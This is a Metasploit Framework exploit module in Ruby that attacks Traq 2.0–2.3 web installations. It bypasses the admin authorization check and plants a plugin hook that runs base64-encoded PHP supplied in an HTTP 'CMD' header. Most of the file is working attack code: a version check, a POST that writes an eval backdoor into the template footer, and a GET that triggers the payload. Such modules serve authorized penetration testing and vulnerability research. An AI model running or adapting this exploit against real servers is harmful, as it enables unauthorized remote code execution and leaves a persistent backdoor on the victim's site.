##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit',
      'Description'    => %q{
        This module exploits an arbitrary command execution vulnerability in
        Traq 2.0 to 2.3. It's in the admincp/common.php script.

        This function is called in each script located into /admicp/ directory to
        make sure the user has admin rights, but this is a broken authorization
        schema due to the header() function doesn't stop the execution flow. This
        can be exploited by malicious users to execute admin functionality resulting
        for  e.g.  in execution of arbitrary PHP code leveraging of plugins.php
        functionality.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'EgiX',  # Vulnerability discovery and exploit
          'TecR0c' # Metasploit Module
        ],
      'References'     =>
        [
          [ 'URL', 'http://www.exploit-db.com/exploits/18213/' ],
          [ 'URL', 'http://traqproject.org/' ],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Keys'        => ['php'],
          'Space'       => 4000,
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', {} ]],
      'DisclosureDate' => 'Dec 12 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [true, "The path to the Traq installation", "/"]),
      ],self.class)
  end

  def check
    uri = datastore['URI']
    uri += (datastore['URI'][-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php"

    res = send_request_raw(
      {
        'uri'=> uri
      }, 25)

    if (res and res.body =~ /Powered by Traq 2.[0-3]/ )
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    p = Rex::Text.encode_base64(payload.encoded)

    uri = datastore['URI']
    uri += (datastore['URI'][-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook"

    res = send_request_cgi(
      {
        'method'    => 'POST',
        'uri'       => uri,
        'vars_post' =>
          {
            'plugin_id' => '1',
            'title' => '1',
            'execorder' => '0',
            'hook' => 'template_footer',
            'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
          }
      }, 25)

    uri = datastore['URI']
    uri += (datastore['URI'][-1, 1] == "/") ? "index.php" : "/index.php"

    res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => uri,
        'headers' =>
          {
            'CMD' => p,
            'Connection' => 'Close',
          },
      }, 25)
  end
end